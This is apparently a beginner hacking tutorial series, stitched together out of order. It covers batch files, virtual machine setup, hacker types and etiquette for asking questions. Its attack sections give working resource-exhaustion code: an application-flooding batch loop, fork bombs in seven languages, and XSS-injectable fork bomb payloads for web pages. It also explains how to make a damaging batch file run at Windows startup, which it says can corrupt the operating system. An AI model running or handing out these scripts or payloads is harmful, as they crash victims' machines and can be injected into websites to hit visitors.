Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known “Blue Screen Of Death”. The only way to get rid of it will be to format your hard drive and re-install the operating system.

(Optional) To make this file execute automatically at startup, Do the following. Create a shortcut of the damage.bat file by right clicking on it. Open the start menu, In programs Open Startup folder and simply drag or cut-paste the shortcut into this folder. The virus will break loose the next time the computer is started up.

Unlike the fork bomb we just saw, the “Application flooder” although technically harmless, is a really annoying virus. Here’s how it looks:

@echo off
:begin
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto begin

Like all the other batch file virus tutorials, I recommend trying this one out in a virtual machine.

Let’s go through it line by line:

• @echo off- This simply stops the command prompts from appearing when the batch file is executing. When you start a batch file, a command prompt process (cmd.exe) is opened and that batch file’s instructions are piped through. We use@echo offwhen we don’t want to notify the user about what the running batch file is doing.
• :begin- This is a label. It’s like a marker or a checkpoint, a position in the program that we’ve given a name to.
• start- This is used to start an executable, similar to what happens when you double click an application. You can see that we have a bunch of these commands and they’re all starting something different. These are just a handful of the default programs that come with all installations of windows. This is where we’re flooding applications. Specifically we’re starting up the applications: Paint, Notepad, Word-pad, a command window, file explorer, control panel and a calculator. You can start up any executable (.exe) by using start <PATH-TO-EXECUTABLE>.
• goto- Remember the label we just defined above? (:begin) Using the goto command, we go to the label ‘begin’, and the program continues execution from there. This is an infinite loop. So all the above applications are started again and again until there are hundreds of open windows or until the operating system crashes or a good antivirus intervenes.

So there you have it. This is one of the most simplest and oldest viruses out there. But the story isn’t over yet. The viruses that actually infect and harm the systems in this day and age are vastly more complicated However, you are now one step closer to a better understanding of the big picture. Head over to the next virus to continue.

The fork bomb is the equivalent of a DDoS attack on your own system. It aims to deprive the system of memory (RAM), leaving nothing for other applications or the operating system’s vital operations required to keep the systems running, hence crashing it. Just 5 characters long, the fork bomb is not permanently harmful for a computer, just annoying.

We’re now going to build on the introduction to batch files. Make sure you’ve got a VM all set up and running.

And here is the fork bomb:

%0|%0

Yes, this is it. The above is a shorter alternative for the following more comprehensible code:

:s
start %0
goto s

• Here, the first line creates a label s.
• %0 actually refers to the name of the batch file itself. By start %0 we’re running the same file again.
• And finally goto s brings us back to the top, forming a loop.

So every time the loop is run another instance of the same program is started and then both of them run together and again duplicate themselves and so on.

Every program doubling itself is a form of exponential growth. After one iteration of the loop, two programs (21) are created. After another cycle, each of those two create another two for a total of four (22). After 10 iterations we have 1024 (210) instances of our little batch file. After 100 iterations we have 2100=1.267 nonillion, a number so big you don’t even know what ‘nonillion’ is (It’s 1030).

The first instance will likely not even complete 50 iterations before the system grinds to a halt and crashes. For such a simple script, each individual iteration would hardly take a few milliseconds, so the first few iterations complete very quickly and soon it becomes more than what the computer can handle.

Is there a way to protect against fork bombs? Yup.

Any antivirus worth it’s salt would be able to scan this suspicious executable file and warn the user before execution. As a fork bomb’s mode of operation is entirely dependent on being able to create new processes, one way of preventing a fork bomb from severely affecting the entire system is to limit the maximum number of processes that a single user may own. On Linux, this can be achieved by using the ulimit utility; for example, the command ulimit -u 30 would limit the affected user to a maximum of thirty owned processes.

And so we have our first little virus under our belt. Head over to the next one to continue or scroll down if you’re interested in checking out the code for fork bomb in other common languages.

• Bash

:(){ :|:& };:

• Python

import os
while 1:
   os.fork()

• Java

public class ForkBomb
{
public static void main(String[] args)
{
  while(true)
  {
    Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
  }
}
}

• Ruby

loop { fork { load(__FILE__) } }

• C

#include <unistd.h>

int main(void)
{
  while(1) {
    fork(); /* malloc can be used in order to increase the data usage */
  }
}

• JavaScript

while (true) {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}

• The following version is easier for injection (XSS):

<a href="#" onload="function() { while (true) { var w = window.open(); w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); } }">XSS fork bomb</a>

And the following is simply a more aggressive version of the above:

<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>

And so we have our first little virus under our belt. Let's head over to the next one to continue

In the following few tutorials, we’ll be learning about batch file viruses. We’ll look at various techniques to bring down a computer using small and simple scripts. Even if you have no background in programming, you’ll find it very easy to follow along.

I recommend you use a virtual machine running a Windows OS if you want to follow along yourself. This is as much for safety as it is for convenience. This tutorial is pretty safe but from the next one we’ll start building viruses. The first virus we’ll look at will overload the computer’s memory. That is, the computer will run out of RAM and likely freeze up and shut down. While this is unlikely to cause any lasting damage, using a virtual machine will still be more convenient simply because you won’t have to keep restarting your computer because it crashed. Soon after this we will get to viruses that can do some very real and permanent damage to your system. You don’t want to hack yourself, right? So you might as well earn how to setup a virtual machine for hacking practice before continuing.

Now let us begin.

What are batch files?

A batch fileis the name given to a type of script file, a text file containing a series of commands to be executed by the command interpreter. Batch files have the extension .bat (or.cmd). They can be easily created using any text editor such as notepad.

Now let’s see some of these commands.

echo Hello World

The echo command is used to print out a message, in this case “Hello World”. Type up the above in a text editor and save it assomething.bat. Now open it and a command window pops up. But you’ll notice that it closes before we get a chance to see what it outputs. Let’s fix that.

echo Hello World
pause

Thepausecommand pauses the execution of the batch file until a user presses a key. You should now see the following output:

C:\Users\Akhil\Desktop>echo Hello World
Hello World
C:\Users\Akhil\Desktop>pause
Press any key to continue . . .

C:\Users\Akhil\Desktop> is where the execution is happening. In my case, I’ve saved the batch file on the desktop. The batch file seems to be printing the commands before executing them. It first prints echo Hello World then actually executes it to output Hello World. Let’s see if we can clean this up a bit.

@echo off
echo Hello World
pause

And this outputs…

Hello World
Press any key to continue . . .

Much better.@echo off is used to stop the commands from being printed and leaves only the output of those commands. Now let’s add a little dynamic behavior.

@echo off
set a=Akhil
echo Hello %a%
pause

Thesetcommand is used to define variables that can hold different values, in this case the string “Akhil”. The variable name enclosed within %% is how we access the value stored in the variable. Run the above and you should see

Hello Akhil
Press any key to continue . . .

Be careful here, the set command is pretty sensitive about the use of spaces:

• set a=Akhil meansahas the value ‘Akhil’
• set a= Akhil (with a space after the=) means ‘a’ has the value ‘ Akhil’ (with a space before it) and
• set a =Akhil with a space before=) means that the variable is not defined asabut asa(‘a’ followed by a space).

Some commands come with modifiers that slightly alter their behavior:

@echo off
set /a a=5
set /a b=10
set /a c=%a% + %b%
echo %c%
pause

In set /a, the/apart is telling set that it should treat the value of the variable as a number, allowing us to perform mathematical operations on it.

@echo off
set /p a=Enter your name: 
echo Hello %a%
pause

The /p modifier tells the set command that it should take in some input from the user and store that in the variable a. When you run the batch file, you will be prompted to enter something. The output looks like:

Enter your name: Emily
Hello Emily
Press any key to continue . . .

Examples of Batch Files

That was pretty easy, now let’s take a look at a couple more batch files that might actually be useful and then we’ll go and make some viruses.

Pinger

@echo off
title Pinger
set /p target=Enter IP address or URL: 
ping %target% -t
pause

This outputs:

Enter IP address or URL: google.com
Pinging google.com [216.58.220.206] with 32 bytes of data:
Reply from 216.58.220.206: bytes=32 time=26ms TTL=57
Reply from 216.58.220.206: bytes=32 time=25ms TTL=57
Reply from 216.58.220.206: bytes=32 time=27ms TTL=57
Reply from 216.58.220.206: bytes=32 time=25ms TTL=57
Reply from 216.58.220.206: bytes=32 time=26ms TTL=57

Pretty handy if you want to quickly ping an IP address/URL or check your internet connection.

P.S: Pressing CTRL+C forcefully stops any running command (like ping -t which likes to run forever).

Shutdown timer

The batch file schedules a shutdown after X minutes.

@echo off
title Shutdown Input
set /p mins=Enter number of minutes to wait until shutdown:
set /a mins=%mins%*60
shutdown -s -t %mins%

This was but a glimpse of what batch files can do. Almost anything your operating system does for you can be done through batch files. You can even use them to automate repetitive and boring tasks. The limit is only your imagination.

One of these imaginative uses is creating batch file viruses and that is just what we’re going to learn now. Let’s start with the famous fork bomb.

Now that we’ve got the introduction to hacking out of the way, there’s just one last thing left before we can actually start hacking.

Due to the *ahem* sensitive nature of our field of work, I recommend you use a virtual machine and not your personal native OS for doing anything you’re not familiar with. Virtual machines are perfect for practicing hacking:

• You can do whatever you want inside a VM and just hit reset and you’re back to a working OS
• You can blow it up however you want, see what happens when you delete important stuff and do unspeakable things to it with zero risk of damaging your actual system.
• It’s cross-platform. Are you on Windows? Mac? Linux? Doesn’t matter. You can run all of these inside each other.
• It’s free. Officially free, that is, no need to pirate or download from shady sources. (At least for Windows and Linux)

In the following few tutorials, we’ll need to use Windows. So here we’re going to see how to setup a Windows Virtual Machine. Eventually we’ll move on to using Kali Linux for more advanced hacking.

Now, let’s get to it.

Step 1

For creating a virtual machine we need two things: the virtualization software and the OS image file.

• The Virtualization Software: I recommend VirtualBox. It’s free and cross platform.
• The OS Image: You can find a bunch of Windows OS images here.

• Microsoft is currently offering Windows 7 through 10, pick whichever you want. I picked Windows 10 Stable.
• Make sure to select the right platform. For us that’s VirtualBox.
• Click the download button (it’s about 4 GB).

If you encounter any issues, you can view installation instructions.

These OS images that Microsoft is offering are meant for testing and not normal usage. It’s validity is 90 days after which we’ll have to reset the virtual machine back to keep using it. To do this, we’ll take a snapshot of the initial state. Using a snapshot is also an easy way to reset the virtual machine back to a working state should something bad happen, which it will because we’re here to practice hacking.

After the download is complete, you should have a zip file that contains MSEdge - Win10_preview.ova. This is our image file. Now we need to load it up into VirtualBox.

Step 2

Extract the .ova file somewhere and start VirtualBox. Click File -> Import Appliance.

Step 3

Now find your .ova file and click Next.

Step 4

Click Import.

Step 5

And now your virtual machine is setup, you should see something like this:

Step 6

Just a couple more things and then we can fire it up. Go to Settings, then the Display tab and increase the video memory to 128 MB. This will allow you to use the virtual machine in full screen and make it a bit more responsive.

Step 7

Click Snapshot in the upper right corner and then the camera button to create a snapshot. (Ideally, you should do this before starting the virtual machine for the first time)

Step 8

Step 9

And that’s it. Hit Start and our virtual machine is ready to handle all the abuse we’re about to throw at it. If When something goes wrong, simply restore the snapshot and it’ll work again.

Now you’re ready totest a variety of hacking techniques while keeping your own system safe. The virtual machine effectively acts as a sandbox, protecting you from yourself. In a future tutorial, we’ll expand upon this by setting up networking with virtual machines, which allows you to do even more such as practicing hacking webcams or penetration testing firewalls or setting up man-in-the-middle attacks and so on.

We have a long and very interesting road ahead of us. But for now, we’re going to start off with something small and powerful. Say hello to batch file viruses.

Now that we have a basic grasp on ethical hacking, we need to address something before we proceed further. The following article assumes that you are a complete beginner and will likely help you every step of the way in becoming a hacker. This article is for anyone who wishes to communicate their troubles efficiently and getting their questions answered without uncalled-for rudeness. If you are a programmer or have other considerable technical experience, feel free to skip this one.

The purpose of this course is to teach you hacking, but hacking is really something that can only be self-taught. If you are indeed serious about hacking, you will first have to learn how to learn.

Where to ask for help with hacking?

When learning something new, you are going to run into problems. Everyone does, it’s all a part of the journey. You’ll find that there are plenty of online communities where you can go and ask questions and just find help with something. A couple of those are:

• Information Security Stack Exchange
• Reddit: /r/Hacking, /r/HowToHack, /r/netsec

And of course, there’s a community of ethical hackers and me on leeward Hackers always happy to help with any queries you may have.

How to ask for help?

• “Just Google it!”
• “Please read the rules and code of conduct before posting”
• “If you can’t do it, doesn’t mean it doesn’t work.”

These are just some of the replies I frequently come across on various blogs, forums and comment threads around the internet. As a beginner, you need to understand that when you’re asking someone for help, you’re asking a stranger to take time out of their day and devote it to you, another stranger. It is your responsibility to prove that you are worth helping.

So many online communities are full of friendly people willing to help beginners get up to speed. And yet, noobs are still everywhere:

• “Fake.. Doesn’t work.”
• “I tried but wasn’t able to do this thing.. how do I do this thing?”
• “How to hack FB easily?”
• “Need hacking tool for this online game..”

You can see why these sorts of half-assed attempts at trying to get someone else to do your work are often ignored and even ridiculed. And in hacking, what these ‘noobs’ are usually trying to do is most likely selfish, unethical and even illegal. You are not going to find help like this.

On the internet, you come across all sorts of people from all walks of life. Most people at one point or another, encounter someone who instead of answering or just ignoring a sincere question or request, chooses to be rude and mocks the person asking the question.

Why does this happen? Why do we still see so many pointless conversations? Why so many questions that have been asked and answered a million times still seem to stagger some? How to get out of this vicious cycle? How to avoid coming across as a noob and how to help others who are in fact not so different than us? It’s time someone answered these questions. So, here’s my attempt.

Admittedly, this may seem a bit general but not being a noob(or at least not looking like one) holds great importance specially for beginner hackers. This is because the only way to get help is from someone who has experience in this field. It isn’t hard to understand the lack of patience when it comes dealing with people who are just looking for shortcuts instead of trying to learn and contribute something.

When you ask for help online, it’s important to do so in a way that’s mindful of the readers time. Not only does this make it more likely that you’ll receive a helpful reply but it also helps other people with the same query who may find your page in the future. This is how you ask a question:

• Google before asking. Why waste your own and others time when a question has already been answered elsewhere? Google your question before posting it in a forum or community.
• Use proper grammar. If people can’t understand you, they can’t answer your questions. If English isn’t very good, then you really should learn English first as the majority of content on the internet (including hacking tutorials) is in English.
• Clearly state the problem. Mention what you are trying to do and why you cannot seem to do so.
• What all have you tried? Tell the readers what all solutions you found on Google and that none of them solved your problem which is why you’re asking for help.
• Tell us your specs. Don’t leave out any important information that a reader may need to answer your question. Mention all the relevant details such as your operating system, version of software etc.

So long as you do this, you will receive polite and helpful answers to all your questions and you will be making the internet a better place for everyone.

A couple of points deserve to be explained further. These are some common red flags that signal that the person asking a question has only selfish interest in mind not learning.

Asking Google-able Questions

Yes, this again. There’s an awful lot of people on our little planet. Say you want to go out to congratulate everyone who has a birthday today and take 10 seconds per person. Assuming a conservative average of 20 million birthdays a day, it will take you over 6 years, if you went 24 hours a day, everyday. By that time, of course the last person would have aged 6 years and would not be very happy with you. What’s the point of telling you this? Not only that statistics are fun but more importantly: There’s an awful lot of people in the world.

With this in mind, there’s a very good chance that when you face a problem, somewhere someone else has already faced and overcome the same problem in the past. The answers are right there on the internet, waiting to be googled.

Further, Google has a ridiculously large webpage index (over 30 trillion freaking pages). Say you type something in the Google search bar, notice that it comes up with numerous suggestions, millions of pages most of the time. That means someone has probably typed that before. It’s like almost everything we’ll ever think, has already been thought of by someone else. Consequently, majority of what we’ll ever search on Google has already been searched by someone else and there’s a good chance that your problem has already been solved.

So before doing anything else, you should always Google for a solution to whatever problem you are facing. Not only is this much quicker for you, but it saves others time as well. Life is short. Learn to Google.

Asking unethical questions

This is a big issue in hacking. If your only goal is to hack your ex-girlfriend’s Facebook account or steal your neighbor’s Wi-Fi (all the while without having the slightest inclination towards educating yourself), while strangers on the internet cannot stop you from trying to do such things, they are almost certainly not going to help you.

I started this website ~4 years ago, in that time I have received literally tens of thousands of request to hack someone’s Facebook account. I haven’t replied to a single such request and I don’t plan on ever doing so. To an expert hacker, when someone asks a question, their intentions are immediately clear. Noobs are not fooling anyone.

Your morality is up to you but do not expect others to help realize your petty ambitions.

Expecting too much

Hacking is not magic. When a problem presents itself, a hacker should break it down into logical steps and find a solution. Movies have engraved in the minds of naïve viewers that expert hackers are practically magicians. According to movies, an expert hacker might as well be typing any nonsense on his/her keyboard (while blindfolded) and the greatest glories and accomplishments can be achieved. Entire nations can be supposedly hacked, gazillions of dollars await hackers just a few keystrokes away and what not. According to movies, tomorrow we may even see evil hackers burning our morning toasts and remotely hacking into our mobile phones and programming them to grow wings and fly off. No. Please stop.

To the astonishment of noobs, there is no top-secret program that can suddenly turn them into an expert. When performing any hacking technique, there are a set of steps one must carry out methodically to attempt to hack something. Further, the majority of the tools used are actually free, in fact most are open-source. Remember Google-able questions? This is one of them.

When a person asks a question about which they have little to no knowledge, it is obviously going to drive away potential respondents. What the person needs to understand is that the respondent is doing them a favor. Nobody is going to sit down and happily write a custom spoon-fed tutorial, so that the person can then mindlessly follow it and obtain something they clearly do not deserve. Everyone’s time is valuable and if the person is asking a total stranger for an unreasonably big chunk, they are going to be ignored.

The world will always be moving fast and it is up to us to keep up. Humanity’s collective intelligence will always surpass any individual’s intelligence. It is for this reason, hackers, more than any other groups, should learn to learn from and teach others, peacefully. Exchange of information and ideas are the pillars keeping the hacker community alive, bonded and continually rising to greater heights.

So that’s that and now we’re finally ready to begin learning hacking. Let’s start by creating our very own viruses.

In computer networking, hacking is any technical effort to manipulate the normal behavior of network connections and connected systems. A hacker is any person engaged in hacking. The term “hacking” historically referred to constructive, clever technical work that was not necessarily related to computer systems.

Today, however, hacking and hackers are most commonly associated with malicious programming attacks on the Internet and other networks.

Origins of Hacking:

M.I.T. engineers in the 1950s and 1960s first popularized the term and concept of hacking. Starting at the model train club and later in the mainframe computer rooms, the so-called “hacks” perpetrated by these hackers were intended to be harmless technical experiments and fun learning activities. Later, outside of M.I.T., others began applying the term to less honorable pursuits. Before the Internet became popular, for example, several hackers in the U.S. experimented with methods to modify telephones for making free long-distance calls over the phone network illegally.

As computer networking and the Internet exploded in popularity, data networks became by far the most common target of hackers and hacking.

Hacking vs. Cracking

Malicious attacks on computer networks are officially known as cracking, while hacking truly applies only to activities having good intentions. Most non-technical people fail to make this distinction, however. Outside of academia, its extremely common to see the term “hack” misused and be applied to cracks as well.

Common Network Hacking Techniques

Hacking on computer networks is often done through scripts or other network programming. These programs generally manipulate data passing through a network connection in ways designed to obtain more information about how the target system works. Many such pre-packaged scripts are posted on the Internet for anyone, typically entry-level hackers, to use.

More advanced hackers may study and modify these scripts to develop new methods. A few highly skilled hackers work for commercial firms with the job to protect that company’s software and data from outside hacking. Cracking techniques on networks include creating worms, initiating denial of service (DoS) attacks, or in establishing unauthorized remote access connections to a device.

So we know what hacking is, now let’s talk about hackers. There are a lot of things that distinguish different kinds of hackers. Most importantly, skill and motivations. That is, what are you trying to accomplish and how far are you willing to go? This is the question I want you, the reader, to ask yourself at the end of this article.

Script Kiddie

Script kiddies, in a word, are noobs. People who want to hack for shortsighted selfish reasons without having any inclination to actually learn something. These are the people who’d rather spend their time looking for some secret tricks that they think real hackers use. They may figure out how to use tools and scripts made by others but they can neither make their own tools nor do anything that involves a task more complex than copy-pasting. A script kiddie is that one annoying kid in class who pisses off everyone else. Don’t be that guy.

Black hat

Black hat hackers are the bad guys. They are cyber criminals with malicious intents who’s only goal is personal gain or sabotage. They are digital thieves money, they steal credit card information, valuable data and identities. They infect systems with viruses, trojans and malware and create botnets to do their bidding. They cost the hardworking and honest people around the world billions of dollars each year. Some do it out of greed, some do it to show off while some others just want to watch the world burn.

White hat

White hat hackers are the good guys who hack for improving the security of systems. The field of penetration testing involves probing a system, say a website or a company’s internal network, to look for vulnerabilities. The white hats (or penetration testers) find these security flaws and help the developers fix them. While the majority of the hacking process is the same for white hats and black hats, there’s a world of difference when it comes to their intentions. White hats want to help patch up vulnerabilities whereas black hats want to exploit them.

Software security is one of the fastest growing fields today. More and more companies are hiring security specialists as well as offering bug bounty programs. Whether you simply want a hobby or wish to go further, the world of cyber security has you covered.

Grey hat hackers

These are the hackers who may work offensively or defensively depending on the situation. Hackers who don’t have malicious intentions but still like to break into third-party system just for the thrill and fun or maybe just to announce a newfound vulnerability in a wild and supposedly heroic way.

Remember, breaking into a company’s internal network without authorization or taking a peek at a private database just for fun is just as bad as malicious hacking in the eyes of the law.

Hacktivists

These are the hackers who use their skills as a means of protesting against injustice and protecting human rights such as free speech. They attack a system or website to popularize a notion or gather attention to a specific case for rectification. They are vigilantes, the dark knights of the hacking universe. This is where good intentions collide with the law, for hacktivists may or may not carry out illegal activities to get their point across to the world. They are outlaws who deliver their own brand of rough justice. Anonymous, LulzSec and WikiLeaks are a few notable hacktivist groups.

Government

The potential consequences of government hacking are so enormous and far reaching that I feel compelled to put them in a different category. Imagine an adversary that not only has access to billions of dollars but also decides the laws in your country. An adversary who wants control over every aspect of your life. How do you defend against such an opponent?

This is increasingly becoming a global problem. Instead of protecting the human right to privacy, governments around the world are opting to violate it, following in the footsteps of NSA and GCHQ. In the coming tutorials, protecting your privacy is going to be an ever-present concern for us.

You

What about you? Which side are you on? Decided anything yet? Don’t worry, you’ll have plenty of time to figure it out. Every single one of the above types of hackers make use of the same hacking techniques. They all start out the same way, they all learn the same things but they end up in vastly different places. No matter what you pick, remember that hacking is a practical field and you will be on the front lines.

Now let us begin our journey by learning how to create viruses. But before we can do that, let’s get you all set up with a virtual machine so that you don’t accidentally wreck your computer. Safety first, right?